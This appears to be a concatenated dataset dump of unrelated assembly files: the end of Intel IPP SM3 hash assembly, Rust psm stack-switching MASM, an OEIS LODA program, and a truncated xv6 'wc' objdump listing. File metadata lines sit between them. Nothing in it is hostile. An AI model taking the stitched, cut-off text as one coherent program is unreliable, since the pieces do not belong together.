(20)(%rsp,%rdi,4), %ebp xor (48)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (72)(%rsp,%rdi,4) mov (64)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (40)(%rsp,%rdi,4), %ebp xor (12)(%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov (24)(%rsp,%rdi,4), %ebp xor (52)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (76)(%rsp,%rdi,4) .p2align 4, 0x90 .Lrounds_48_63gas_1: mov %r8d, %eax mov (%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r12d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r9d, %edx mov %r9d, %ebp and %r10d, %edx xor %r10d, %ebp and %r8d, %ebp add %edx, %ebp mov %r13d, %edx xor %r14d, %edx and %r12d, %edx xor %r14d, %edx add %ebp, %eax add %edx, %ebx add %r11d, %eax add %r15d, %ebx mov (%rsp,%rdi,4), %ebp add %ebp, %ebx xor (16)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r9d, %r9d shld $(19), %r13d, %r13d mov %eax, %r15d mov %ebx, %r11d shld $(8), %r11d, %r11d xor %ebx, %r11d shld $(9), %r11d, %r11d xor %ebx, %r11d mov %r15d, %eax mov (4)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r11d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r8d, %edx mov %r8d, %ebp and %r9d, %edx xor %r9d, %ebp and %r15d, %ebp add %edx, %ebp mov %r12d, %edx xor %r13d, %edx and %r11d, %edx xor %r13d, %edx add %ebp, %eax add %edx, %ebx add %r10d, %eax add %r14d, %ebx mov (4)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (20)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r8d, %r8d shld $(19), %r12d, %r12d mov %eax, %r14d mov %ebx, %r10d shld $(8), %r10d, %r10d xor %ebx, %r10d shld $(9), %r10d, %r10d xor %ebx, %r10d mov %r14d, %eax mov (8)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r10d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r15d, %edx mov %r15d, %ebp and %r8d, %edx xor %r8d, %ebp and %r14d, %ebp add %edx, %ebp mov %r11d, %edx xor %r12d, %edx and %r10d, %edx xor %r12d, %edx add %ebp, %eax add %edx, %ebx add %r9d, %eax add %r13d, %ebx mov (8)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (24)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r15d, %r15d shld $(19), %r11d, %r11d mov %eax, %r13d mov %ebx, %r9d shld $(8), %r9d, %r9d xor %ebx, %r9d shld $(9), %r9d, %r9d xor %ebx, %r9d mov %r13d, %eax mov (12)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r9d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r14d, %edx mov %r14d, %ebp and %r15d, %edx xor %r15d, %ebp and %r13d, %ebp add %edx, %ebp mov %r10d, %edx xor %r11d, %edx and %r9d, %edx xor %r11d, %edx add %ebp, %eax add %edx, %ebx add %r8d, %eax add %r12d, %ebx mov (12)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (28)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r14d, %r14d shld $(19), %r10d, %r10d mov %eax, %r12d mov %ebx, %r8d shld $(8), %r8d, %r8d xor %ebx, %r8d shld $(9), %r8d, %r8d xor %ebx, %r8d mov %r12d, %eax mov (16)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r8d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r13d, %edx mov %r13d, %ebp and %r14d, %edx xor %r14d, %ebp and %r12d, %ebp add %edx, %ebp mov %r9d, %edx xor %r10d, %edx and %r8d, %edx xor %r10d, %edx add %ebp, %eax add %edx, %ebx add %r15d, %eax add %r11d, %ebx mov (16)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (32)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r13d, %r13d shld $(19), %r9d, %r9d mov %eax, %r11d mov %ebx, %r15d shld $(8), %r15d, %r15d xor %ebx, %r15d shld $(9), %r15d, %r15d xor %ebx, %r15d mov %r11d, %eax mov (20)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r15d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r12d, %edx mov %r12d, %ebp and %r13d, %edx xor %r13d, %ebp and %r11d, %ebp add %edx, %ebp mov %r8d, %edx xor %r9d, %edx and %r15d, %edx xor %r9d, %edx add %ebp, %eax add %edx, %ebx add %r14d, %eax add %r10d, %ebx mov (20)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (36)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r12d, %r12d shld $(19), %r8d, %r8d mov %eax, %r10d mov %ebx, %r14d shld $(8), %r14d, %r14d xor %ebx, %r14d shld $(9), %r14d, %r14d xor %ebx, %r14d mov %r10d, %eax mov (24)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r14d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r11d, %edx mov %r11d, %ebp and %r12d, %edx xor %r12d, %ebp and %r10d, %ebp add %edx, %ebp mov %r15d, %edx xor %r8d, %edx and %r14d, %edx xor %r8d, %edx add %ebp, %eax add %edx, %ebx add %r13d, %eax add %r9d, %ebx mov (24)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (40)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r11d, %r11d shld $(19), %r15d, %r15d mov %eax, %r9d mov %ebx, %r13d shld $(8), %r13d, %r13d xor %ebx, %r13d shld $(9), %r13d, %r13d xor %ebx, %r13d mov %r9d, %eax mov (28)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r13d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r10d, %edx mov %r10d, %ebp and %r11d, %edx xor %r11d, %ebp and %r9d, %ebp add %edx, %ebp mov %r14d, %edx xor %r15d, %edx and %r13d, %edx xor %r15d, %edx add %ebp, %eax add %edx, %ebx add %r12d, %eax add %r8d, %ebx mov (28)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (44)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r10d, %r10d shld $(19), %r14d, %r14d mov %eax, %r8d mov %ebx, %r12d shld $(8), %r12d, %r12d xor %ebx, %r12d shld $(9), %r12d, %r12d xor %ebx, %r12d add $(8), %rdi cmp $(64), %rdi jne .Lrounds_48_63gas_1 mov (272)(%rsp), %rdi mov (280)(%rsp), %rsi xor (%rdi), %r8d xor (4)(%rdi), %r9d xor (8)(%rdi), %r10d xor (12)(%rdi), %r11d xor (16)(%rdi), %r12d xor (20)(%rdi), %r13d xor (24)(%rdi), %r14d xor (28)(%rdi), %r15d mov %r8d, (%rdi) mov %r9d, (4)(%rdi) mov %r10d, (8)(%rdi) mov %r11d, (12)(%rdi) mov %r12d, (16)(%rdi) mov %r13d, (20)(%rdi) mov %r14d, (24)(%rdi) mov %r15d, (28)(%rdi) subq $(64), (288)(%rsp) jne .Lmain_loopgas_1 add $(312), %rsp pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx pop %rbp ret .Lfe1: .size y8_UpdateSM3, .Lfe1-(y8_UpdateSM3)
32.061293
80
0.36661
[ "Apache-2.0" ]
idesai/ipp-crypto
sources/ippcp/asm_intel64_gas_converted/linux/nonpic/y8/merged/pcpsm3u8as.asm
38,185
Assembly
; FIXME: this is weird, this works locally but not on appveyor?!??! .386 .model flat ASSUME FS:NOTHING ; WTF: PUBLIC conflicts with "SYSCALL" but "SYSCALL" is the only way to stop MASM from manging the ; symbol names? ; ; PUBLIC @rust_psm_stack_direction@0 ; PUBLIC @rust_psm_stack_pointer@0 ; PUBLIC @rust_psm_replace_stack@12 ; PUBLIC @rust_psm_on_stack@16 _TEXT SEGMENT ; extern "fastcall" fn() -> u8 (%al) @rust_psm_stack_direction@0 PROC SYSCALL mov al, 2 ret @rust_psm_stack_direction@0 ENDP ; extern "fastcall" fn() -> *mut u8 (%rax) @rust_psm_stack_pointer@0 PROC SYSCALL lea eax, [esp + 4] ret @rust_psm_stack_pointer@0 ENDP ; extern "fastcall" fn(%ecx: usize, %edx: extern "fastcall" fn(usize), ; 4(%esp): *mut u8, 8(%esp): *mut u8) @rust_psm_replace_stack@16 PROC SYSCALL mov eax, dword ptr [esp + 8] mov fs:[08h], eax mov esp, dword ptr [esp + 4] mov fs:[04h], esp jmp edx @rust_psm_replace_stack@16 ENDP ; extern "fastcall" fn(%ecx: usize, %edx: usize, 4(%esp): extern "fastcall" fn(usize, usize), ; 8(%esp): *mut u8, 12(%esp): *mut u8) ; ; NB: on Windows for SEH to work at all, the pointers in TIB, thread information block, need to be ; fixed up. Otherwise, it seems that exception mechanism on Windows will not bother looking for ; exception handlers at *all* if they happen to fall outside the are specified in TIB. ; ; This necessitates an API difference from the usual 4-argument signature used elsewhere. @rust_psm_on_stack@20 PROC SYSCALL push ebp mov ebp, esp push fs:[0E0Ch] push fs:[08h] mov eax, dword ptr [ebp + 4 + 12] mov dword ptr fs:[08h], eax mov dword ptr fs:[0E0Ch], eax push fs:[04h] mov esp, dword ptr [ebp + 4 + 8] mov dword ptr fs:[04h], esp call dword ptr [ebp + 4 + 4] lea esp, [ebp - 12] pop fs:[04h] pop fs:[08h] pop fs:[0E0Ch] pop ebp ret 12 @rust_psm_on_stack@20 ENDP END
27.788732
98
0.663964
[ "Apache-2.0" ]
Maistra/proxy
maistra/vendor/proxy_wasm_cpp_host__psm__0_1_12/src/arch/x86_msvc.asm
1,973
Assembly
; A069982: Number of 4-gonal compositions of n into positive parts. ; 0,0,0,0,1,4,10,16,31,40,68,80,125,140,206,224,315,336,456,480,633,660,850,880,1111,1144,1420,1456,1781,1820,2198,2240,2675,2720,3216,3264,3825,3876,4506,4560,5263,5320,6100,6160,7021,7084,8030,8096,9131,9200,10328,10400,11625,11700,13026,13104,14535,14616,16156,16240,17893,17980,19750,19840,21731,21824,23840,23936,26081,26180,28458,28560,30975,31080,33636,33744,36445,36556,39406,39520,42523,42640,45800,45920,49241,49364,52850,52976,56631,56760,60588,60720,64725,64860,69046,69184,73555,73696,78256,78400,83153,83300,88250,88400,93551,93704,99060,99216,104781,104940,110718,110880,116875,117040,123256,123424,129865,130036,136706,136880,143783,143960,151100,151280,158661,158844,166470,166656,174531,174720,182848,183040,191425,191620,200266,200464,209375,209576,218756,218960,228413,228620,238350,238560,248571,248784,259080,259296,269881,270100,280978,281200,292375,292600,304076,304304,316085,316316,328406,328640,341043,341280,354000,354240,367281,367524,380890,381136,394831,395080,409108,409360,423725,423980,438686,438944,453995,454256,469656,469920,485673,485940,502050,502320,518791,519064,535900,536176,553381,553660,571238,571520,589475,589760,608096,608384,627105,627396,646506,646800,666303,666600,686500,686800,707101,707404,728110,728416,749531,749840,771368,771680,793625,793940,816306,816624,839415,839736,862956,863280,886933,887260,911350,911680,936211,936544,961520,961856,987281,987620,1013498,1013840,1040175,1040520,1067316,1067664,1094925,1095276,1123006,1123360,1151563,1151920,1180600,1180960,1210121,1210484,1240130,1240496,1270631,1271000 mov $27,$0 mov $29,$0 lpb $29 clr $0,27 mov $0,$27 sub $29,1 sub $0,$29 add $1,$0 add $2,3 mov $0,$2 cal $0,3415 ; a(n) = n' = arithmetic derivative of n: a(0) = a(1) = 0, a(prime) = 1, a(mn) = m*a(n) + n*a(m). mov $2,$1 trn $2,2 sub $2,2 add $0,$2 mov $1,$0 pow $2,2 mov $0,$2 cal $0,266073 ; Number of OFF (white) cells in the n-th iteration of the "Rule 3" elementary cellular automaton starting with a single ON (black) cell. add $0,$1 mul $1,5 add $1,5 add $1,$0 sub $1,6 div $1,4 add $28,$1 lpe mov $1,$28
68.71875
1,571
0.763529
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/069/A069982.asm
2,199
Assembly
_wc: file format elf32-i386 Disassembly of section .text: 00000000 <wc>: char buf[512]; void wc(int fd, char *name) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 ec 28 sub $0x28,%esp int i, n; int l, w, c, inword; l = w = c = 0; 6: c7 45 e8 00 00 00 00 movl $0x0,-0x18(%ebp) d: 8b 45 e8 mov -0x18(%ebp),%eax 10: 89 45 ec mov %eax,-0x14(%ebp) 13: 8b 45 ec mov -0x14(%ebp),%eax 16: 89 45 f0 mov %eax,-0x10(%ebp) inword = 0; 19: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) while((n = read(fd, buf, sizeof(buf))) > 0){ 20: eb 69 jmp 8b <wc+0x8b> for(i=0; i<n; i++){ 22: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 29: eb 58 jmp 83 <wc+0x83> c++; 2b: 83 45 e8 01 addl $0x1,-0x18(%ebp) if(buf[i] == '\n') 2f: 8b 45 f4 mov -0xc(%ebp),%eax 32: 05 00 0a 00 00 add $0xa00,%eax 37: 0f b6 00 movzbl (%eax),%eax 3a: 3c 0a cmp $0xa,%al 3c: 75 04 jne 42 <wc+0x42> l++; 3e: 83 45 f0 01 addl $0x1,-0x10(%ebp) if(strchr(" \r\t\n\v", buf[i])) 42: 8b 45 f4 mov -0xc(%ebp),%eax 45: 05 00 0a 00 00 add $0xa00,%eax 4a: 0f b6 00 movzbl (%eax),%eax 4d: 0f be c0 movsbl %al,%eax 50: 83 ec 08 sub $0x8,%esp 53: 50 push %eax 54: 68 9f 09 00 00 push $0x99f 59: e8 35 02 00 00 call 293 <strchr> 5e: 83 c4 10 add $0x10,%esp 61: 85 c0 test %eax,%eax 63: 74 09 je 6e <wc+0x6e> inword = 0; 65: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 6c: eb 11 jmp 7f <wc+0x7f> else if(!inword){ 6e: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp) 72: 75 0b jne 7f <wc+0x7f> w++; 74: 83 45 ec 01 addl $0x1,-0x14(%ebp) inword = 1; 78: c7 45 e4 01 00 00 00 movl $0x1,-0x1c(%ebp) for(i=0; i<n; i++){ 7f: 83 45 f4 01 addl $0x1,-0xc(%ebp) 83: 8b 45 f4 mov -0xc(%ebp),%eax 86: 3b 45 e0 cmp -0x20(%ebp),%eax 89: 7c a0 jl 2b <wc+0x2b> while((n = read(fd, buf, sizeof(buf))) > 0){ 8b: 83 ec 04 sub $0x4,%esp 8e: 68 00 02 00 00 push $0x200 93: 68 00 0a 00 00 push $0xa00 98: ff 75 08 push 0x8(%ebp) 9b: e8 bc 03 00 00 call 45c <read> a0: 83 c4 10 add $0x10,%esp a3: 89 45 e0 mov %eax,-0x20(%ebp) a6: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) aa: 0f 8f 72 ff ff ff jg 22 <wc+0x22> } } } if(n < 0){ b0: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) b4: 79 17 jns cd <wc+0xcd> printf(1, "wc: read error\n"); b6: 83 ec 08 sub $0x8,%esp b9: 68 a5 09 00 00 push $0x9a5 be: 6a 01 push $0x1 c0: e8 23 05 00 00 call 5e8 <printf> c5: 83 c4 10 add $0x10,%esp exit(); c8: e8 77 03 00 00 call 444 <exit> } printf(1, "%d %d %d %s\n", l, w, c, name); cd: 83 ec 08 sub $0x8,%esp d0: ff 75 0c push 0xc(%ebp) d3: ff 75 e8 push -0x18(%ebp) d6: ff 75 ec push -0x14(%ebp) d9: ff 75 f0 push -0x10(%ebp) dc: 68 b5 09 00 00 push $0x9b5 e1: 6a 01 push $0x1 e3: e8 00 05 00 00 call 5e8 <printf> e8: 83 c4 20 add $0x20,%esp } eb: 90 nop ec: c9 leave ed: c3 ret 000000ee <main>: int main(int argc, char *argv[]) { ee: 8d 4c 24 04 lea 0x4(%esp),%ecx f2: 83 e4 f0 and $0xfffffff0,%esp f5: ff 71 fc push -0x4(%ecx) f8: 55 push %ebp f9: 89 e5 mov %esp,%ebp fb: 53 push %ebx fc: 51 push %ecx fd: 83 ec 10 sub $0x10,%esp 100: 89 cb mov %ecx,%ebx int fd, i; if(argc <= 1){ 102: 83 3b 01 cmpl $0x1,(%ebx) 105: 7f 17 jg 11e <main+0x30> wc(0, ""); 107: 83 ec 08 sub $0x8,%esp 10a: 68 c2 09 00 00 push $0x9c2 10f: 6a 00 push $0x0 111: e8 ea fe ff ff call 0 <wc> 116: 83 c4 10 add $0x10,%esp exit(); 119: e8 26 03 00 00 call 444 <exit> } for(i = 1; i < argc; i++){ 11e: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp) 125: e9 83 00 00 00 jmp 1ad <main+0xbf> if((fd = open(argv[i], 0)) < 0){ 12a: 8b 45 f4 mov -0xc(%ebp),%eax 12d: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 134: 8b 43 04 mov 0x4(%ebx),%eax 137: 01 d0 add %edx,%eax 139: 8b 00 mov (%eax),%eax 13b: 83 ec 08 sub $0x8,%esp 13e: 6a 00 push $0x0 140: 50 push %eax 141: e8 3e 03 00 00 call 484 <open> 146: 83 c4 10 add $0x10,%esp 149: 89 45 f0 mov %eax,-0x10(%ebp) 14c: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 150: 79 29 jns 17b <main+0x8d> printf(1, "wc: cannot open %s\n", argv[i]); 152: 8b 45 f4 mov -0xc(%ebp),%eax 155: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 15c: 8b 43 04 mov 0x4(%ebx),%eax 15f: 01 d0 add %edx,%eax 161: 8b 00 mov (%eax),%eax 163: 83 ec 04 sub $0x4,%esp 166: 50 push %eax 167: 68 c3 09 00 00 push $0x9c3 16c: 6a 01 push $0x1 16e: e8 75 04 00 00 call 5e8 <printf> 173: 83 c4 10 add $0x10,%esp exit(); 176: e8 c9 02 00 00 call 444 <exit> } wc(fd, argv[i]); 17b: 8b 45 f4 mov -0xc(%ebp),%eax 17e: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 185: 8b 43 04 mov 0x4(%ebx),%eax 188: 01 d0 add %edx,%eax 18a: 8b 00 mov (%eax),%eax 18c: 83 ec 08 sub $0x8,%esp 18f: 50 push %eax 190: ff 75 f0 push -0x10(%ebp) 193: e8 68 fe ff ff call 0 <wc> 198: 83 c4 10 add $0x10,%esp close(fd); 19b: 83 ec 0c sub $0xc,%esp 19e: ff 75 f0 push -0x10(%ebp) 1a1: e8 c6 02 00 00 call 46c <close> 1a6: 83 c4 10 add $0x10,%esp for(i = 1; i < argc; i++){ 1a9: 83 45 f4 01 addl $0x1,-0xc(%ebp) 1ad: 8b 45 f4 mov -0xc(%ebp),%eax 1b0: 3b 03 cmp (%ebx),%eax 1b2: 0f 8c 72 ff ff ff jl 12a <main+0x3c> } exit(); 1b8: e8 87 02 00 00 call 444 <exit> 000001bd <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 1bd: 55 push %ebp 1be: 89 e5 mov %esp,%ebp 1c0: 57 push %edi 1c1: 53 push %ebx asm volatile("cld; rep stosb" : 1c2: 8b 4d 08 mov 0x8(%ebp),%ecx 1c5: 8b 55 10 mov 0x10(%ebp),%edx 1c8: 8b 45 0c mov 0xc(%ebp),%eax 1cb: 89 cb mov %ecx,%ebx 1cd: 89 df mov %ebx,%edi 1cf: 89 d1 mov %edx,%ecx 1d1: fc cld 1d2: f3 aa rep stos %al,%es:(%edi) 1d4: 89 ca mov %ecx,%edx 1d6: 89 fb mov %edi,%ebx 1d8: 89 5d 08 mov %ebx,0x8(%ebp) 1db: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 1de: 90 nop 1df: 5b pop %ebx 1e0: 5f pop %edi 1e1: 5d pop %ebp 1e2: c3 ret 000001e3 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 1e3: 55 push %ebp 1e4: 89 e5 mov %esp,%ebp 1e6: 83 ec 10 sub $0x10,%esp char *os; os = s; 1e9: 8b 45 08 mov 0x8(%ebp),%eax 1ec: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 1ef: 90 nop 1f0: 8b 55 0c mov 0xc(%ebp),%edx 1f3: 8d 42 01 lea 0x1(%edx),%eax 1f6: 89 45 0c mov %eax,0xc(%ebp) 1f9: 8b 45 08 mov 0x8(%ebp),%eax 1fc: 8d 48 01 lea 0x1(%eax),%ecx 1ff: 89 4d 08 mov %ecx,0x8(%ebp) 202: 0f b6 12 movzbl (%edx),%edx 205: 88 10 mov %dl,(%eax) 207: 0f b6 00 movzbl (%eax),%eax 20a: 84 c0 test %al,%al 20c: 75 e2 jne 1f0 <strcpy+0xd> ; return os; 20e: 8b 45 fc mov -0x4(%ebp),%eax } 211: c9 leave 212: c3 ret 00000213 <strcmp>: int strcmp(const char *p, const char *q) { 213: 55 push %ebp 214: 89 e5 mov %esp,%ebp while(*p && *p == *q) 216: eb 08 jmp 220 <strcmp+0xd> p++, q++; 218: 83 45 08 01 addl $0x1,0x8(%ebp) 21c: 83 45 0c 01 addl $0x1,0xc(%ebp) while(*p && *p == *q) 220: 8b 45 08 mov 0x8(%ebp),%eax 223: 0f b6 00 movzbl (%eax),%eax 226: 84 c0 test %al,%al 228: 74 10 je 23a <strcmp+0x27> 22a: 8b 45 08 mov 0x8(%ebp),%eax 22d: 0f b6 10 movzbl (%eax),%edx 230: 8b 45 0c mov 0xc(%ebp),%eax 233: 0f b6 00 movzbl (%eax),%eax 236: 38 c2 cmp %al,%dl 238: 74 de je 218 <strcmp+0x5> return (uchar)*p - (uchar)*q; 23a: 8b 45 08 mov 0x8(%ebp),%eax 23d: 0f b6 00 movzbl (%eax),%eax 240: 0f b6 d0 movzbl %al,%edx 243: 8b 45 0c mov 0xc(%ebp),%eax 246: 0f b6 00 movzbl (%eax),%eax 249: 0f b6 c8 movzbl %al,%ecx 24c: 89 d0 mov %edx,%eax 24e: 29 c8 sub %ecx,%eax } 250: 5d pop %ebp 251: c3 ret 00000252 <strlen>: uint strlen(char *s) { 252: 55 push %ebp 253: 89 e5 mov %esp,%ebp 255: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 258: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 25f: eb 04 jmp 265 <strlen+0x13> 261: 83 45 fc 01 addl $0x1,-0x4(%ebp) 265: 8b 55 fc mov -0x4(%ebp),%edx 268: 8b 45 08 mov 0x8(%ebp),%eax 26b: 01 d0 add %edx,%eax 26d: 0f b6 00 movzbl (%eax),%eax 270: 84 c0 test %al,%al 272: 75 ed jne 261 <strlen+0xf> ; return n; 274: 8b 45 fc mov -0x4(%ebp),%eax } 277: c9 leave 278: c3 ret 00000279 <memset>: void* memset(void *dst, int c, uint n) { 279: 55 push %ebp 27a: 89 e5 mov %esp,%ebp stosb(dst, c, n); 27c: 8b 45 10 mov 0x10(%ebp),%eax 27f: 50 push %eax 280: ff 75 0c push 0xc(%ebp) 283: ff 75 08 push 0x8(%ebp) 286: e8 32 ff ff ff call 1bd <stosb> 28b: 83 c4 0c add $0xc,%esp return dst; 28e: 8b 45 08 mov 0x8(%ebp),%eax } 291: c9 leave 292: c3 ret 00000293 <strchr>: char* strchr(const char *s, char c) { 293: 55 push %ebp 294: 89 e5 mov %esp,%ebp 296: 83 ec 04 sub $0x4,%esp 299: 8b 45 0c mov 0xc(%ebp),%eax 29c: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 29f: eb 14 jmp 2b5 <strchr+0x22> if(*s == c) 2a1: 8b 45 08 mov 0x8(%ebp),%eax 2a4: 0f b6 00 movzbl (%eax),%eax 2a7: 38 45 fc cmp %al,-0x4(%ebp) 2aa: 75 05 jne 2b1 <strchr+0x1e> return (char*)s; 2ac: 8b 45 08 mov 0x8(%ebp),%eax 2af: eb 13 jmp 2c4 <strchr+0x31> for(; *s; s++) 2b1: 83 45 08 01 addl $0x1,0x8(%ebp) 2b5: 8b 45 08 mov 0x8(%ebp),%eax 2b8: 0f b6 00 movzbl (%eax),%eax 2bb: 84 c0 test %al,%al 2bd: 75 e2 jne 2a1 <strchr+0xe> return 0; 2bf: b8 00 00 00 00 mov $0x0,%eax } 2c4: c9 leave 2c5: c3 ret 000002c6 <gets>: char* gets(char *buf, int max) { 2c6: 55 push %ebp 2c7: 89 e5 mov %esp,%ebp 2c9: 83 ec 18 sub $0x18,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 2cc: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 2d3: eb 42 jmp 317 <gets+0x51> cc = read(0, &c, 1); 2d5: 83 ec 04 sub $0x4,%esp 2d8: 6a 01 push $0x1 2da: 8d 45 ef lea -0x11(%ebp),%eax 2dd: 50 push %eax 2de: 6a 00 push $0x0 2e0: e8 77 01 00 00 call 45c <read> 2e5: 83 c4 10 add $0x10,%esp 2e8: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 2eb: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 2ef: 7e 33 jle 324 <gets+0x5e> break; buf[i++] = c; 2f1: 8b 45 f4 mov -0xc(%ebp),%eax 2f4: 8d 50 01 lea 0x1(%eax),%edx 2f7: 89 55 f4 mov %edx,-0xc(%ebp) 2fa: 89 c2 mov %eax,%edx 2fc: 8b 45 08 mov 0x8(%ebp),%eax 2ff: 01 c2 add %eax,%edx 301: 0f b6 45 ef movzbl -0x11(%ebp),%eax 305: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 307: 0f b6 45 ef movzbl -0x11(%ebp),%eax 30b: 3c 0a cmp $0xa,%al 30d: 74 16 je 325 <gets+0x5f> 30f: 0f b6 45 ef movzbl -0x11(%ebp),%eax 313: 3c 0d cmp $0xd,%al 315: 74 0e je 325 <gets+0x5f> for(i=0; i+1 < max; ){ 317: 8b 45 f4 mov -0xc(%ebp),%eax 31a: 83 c0 01 add $0x1,%eax 31d: 39 45 0c cmp %eax,0xc(%ebp) 320: 7f b3 jg 2d5 <gets+0xf> 322: eb 01 jmp 325 <gets+0x5f> break; 324: 90 nop break; } buf[i] = '\0'; 325: 8b 55 f4 mov -0xc(%ebp),%edx 328: 8b 45 08 mov 0x8(%ebp),%eax 32b: 01 d0 add %edx,%eax 32d: c6 00 00 movb $0x0,(%eax) return buf; 330: 8b 45 08 mov 0x8(%ebp),%eax } 333: c9 leave 334: c3 ret 00000335 <stat>: int stat(char *n, struct stat *st) { 335: 55 push %ebp 336: 89 e5 mov %esp,%ebp 338: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); 33b: 83 ec 08 sub $0x8,%esp 33e: 6a 00 push $0x0 340: ff 75 08 push 0x8(%ebp) 343: e8 3c 01 00 00 call 484 <open> 348: 83 c4 10 add $0x10,%esp 34b: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 34e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 352: 79 07 jns 35b <stat+0x26> return -1; 354: b8 ff ff ff ff mov $0xffffffff,%eax 359: eb 25 jmp 380 <stat+0x4b> r = fstat(fd, st); 35b: 83 ec 08 sub $0x8,%esp 35e: ff 75 0c push 0xc(%ebp) 361: ff 75 f4 push -0xc(%ebp) 364: e8 33 01 00 00 call 49c <fstat> 369: 83 c4 10 add $0x10,%esp 36c: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 36f: 83 ec 0c sub $0xc,%esp 372: ff 75 f4 push -0xc(%ebp) 375: e8 f2 00 00 00 call 46c <close> 37a: 83 c4 10 add $0x10,%esp return r; 37d: 8b 45 f0 mov -0x10(%ebp),%eax } 380: c9 leave 381: c3 ret 00000382 <atoi>: int atoi(const char *s) { 382: 55 push %ebp 383: 89 e5 mov %esp,%ebp 385: 83 ec 10 sub $0x10,%esp int n; n = 0; 388: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 38f: eb 25 jmp 3b6 <atoi+0x34> n = n*10 + *s++ - '0'; 391: 8b 55 fc mov -0x4(%ebp),%edx 394: 89 d0 mov %edx,%eax 396: c1 e0 02 shl $0x2,%eax 399: 01 d0 add %edx,%eax 39b: 01 c0 add %eax,%eax 39d: 89 c1 mov %eax,%ecx 39f: 8b 45 08 mov 0x8(%ebp),%eax 3a2: 8d 50 01 lea 0x1(%eax),%edx 3a5: 89 55 08 mov %edx,0x8(%ebp) 3a8: 0f b6 00 movzbl (%eax),%eax 3ab: 0f be c0 movsbl %al,%eax 3ae: 01 c8 add %ecx,%eax 3b0: 83 e8 30 sub $0x30,%eax 3b3: 89 45 fc mov %eax,-0x4(%ebp) while('0' <= *s && *s <= '9') 3b6: 8b 45 08 mov 0x8(%ebp),%eax 3b9: 0f b6 00 movzbl (%eax),%eax 3bc: 3c 2f cmp $0x2f,%al 3be: 7e 0a jle 3ca <atoi+0x48> 3c0: 8b 45 08 mov 0x8(%ebp),%eax 3c3: 0f b6 00 movzbl (%eax),%eax 3c6: 3c 39 cmp $0x39,%al 3c8: 7e c7 jle 391 <atoi+0xf> return n; 3ca: 8b 45 fc mov -0x4(%ebp),%eax } 3cd: c9 leave 3ce: c3 ret 000003cf <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 3cf: 55 push %ebp 3d0: 89 e5 